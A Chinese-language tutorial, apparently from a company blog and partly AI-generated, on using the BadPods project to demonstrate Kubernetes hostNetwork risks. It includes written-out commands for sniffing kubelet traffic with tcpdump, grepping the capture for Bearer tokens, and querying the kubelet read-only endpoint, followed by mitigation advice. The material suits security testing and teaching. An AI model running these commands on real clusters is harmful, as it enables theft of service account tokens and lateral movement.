K8s容器逃逸指南:利用BadPods项目复现hostNetwork漏洞
2026/8/10 18:19:57 网站建设 项目流程

K8s容器逃逸指南:利用BadPods项目复现hostNetwork漏洞

【免费下载链接】badPodsA collection of manifests that will create pods with elevated privileges.项目地址: https://gitcode.com/gh_mirrors/ba/badPods

BadPods项目是一个专注于创建具有提升权限的Kubernetes Pod清单集合,能够帮助安全研究人员和开发者快速演示允许hostNetworkhostPIDhostPath等敏感Pod属性带来的安全风险。本文将以BadPods项目为基础,详细介绍如何利用hostNetwork漏洞进行K8s容器逃逸测试。

图1:BadPods项目涵盖的五种特权访问类型,包括本文重点讨论的hostNetwork

什么是hostNetwork漏洞?

当Pod配置了hostNetwork: true时,容器将直接使用主机的网络命名空间,这意味着容器可以访问主机的网络接口、端口和流量。虽然这种配置本身不会直接提供主机的特权代码执行权限,但可能通过以下途径实现权限提升:

图2:hostNetwork特权配置下的网络访问权限示意(仅hostNetwork门控处于打开状态)

  • 流量嗅探:使用tcpdump等工具捕获主机网络接口上的未加密流量,可能获取服务账户令牌等敏感信息
  • 访问本地服务:连接仅监听主机回环接口的服务,这些服务可能存在安全漏洞
  • 绕过网络策略:突破命名空间级别的网络访问限制,直接使用主机网络接口通信

环境准备:快速部署BadPods测试环境

1. 克隆项目仓库

git clone https://gitcode.com/gh_mirrors/ba/badPods cd badPods

2. 查看hostNetwork相关清单文件

BadPods项目为不同K8s资源类型提供了完整的hostNetwork配置清单,主要位于:

  • Pod清单manifests/hostnetwork/pod/
  • Deployment清单manifests/hostnetwork/deployment/
  • DaemonSet清单manifests/hostnetwork/deamonset/
  • 其他资源清单:包括CronJob、Job、StatefulSet等类型

实战演示:利用hostNetwork配置的Pod进行测试

创建hostNetwork Pod并执行命令

使用以下命令创建启用hostNetwork的测试Pod并进入交互终端:

kubectl apply -f manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml kubectl exec -it hostnetwork-exec-pod -- bash

流量嗅探攻击演示

在容器内部安装网络工具并捕获主机流量:

apt update && apt -y install tcpdump net-tools tcpdump -ni eth0 -s0 -w host-traffic.cap port 10255 # 捕获kubelet端口流量

分析捕获的流量文件,搜索敏感信息:

tcpdump -r host-traffic.cap -A | grep Bearer # 查找可能的Bearer令牌

访问主机本地服务

尝试访问主机上的本地服务(如kubelet只读端口):

curl http://localhost:10255/pods # 访问kubelet pods端点

漏洞防御与缓解措施

针对hostNetwork漏洞,建议采取以下防御措施:

  1. 严格限制hostNetwork使用:仅在绝对必要时才允许Pod使用主机网络
  2. 实施Pod安全策略:通过PSP或PodSecurityContext限制特权配置
  3. 网络流量加密:确保集群内所有服务间通信使用TLS加密
  4. 最小权限原则:为服务账户分配最小必要权限,避免过度授权

总结与进一步学习

通过BadPods项目提供的manifests/hostnetwork/清单文件,我们可以快速复现hostNetwork配置带来的安全风险。这类漏洞虽然不会直接导致容器逃逸,但可能成为攻击者横向移动或获取敏感信息的重要途径。

建议安全从业者深入研究项目中其他特权配置的安全影响,包括:

  • Privileged Podmanifests/priv/
  • hostPID配置manifests/hostpid/
  • hostPath挂载manifests/hostpath/

通过全面了解这些配置的潜在风险,可以帮助我们构建更安全的Kubernetes集群环境。

【免费下载链接】badPodsA collection of manifests that will create pods with elevated privileges.项目地址: https://gitcode.com/gh_mirrors/ba/badPods

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询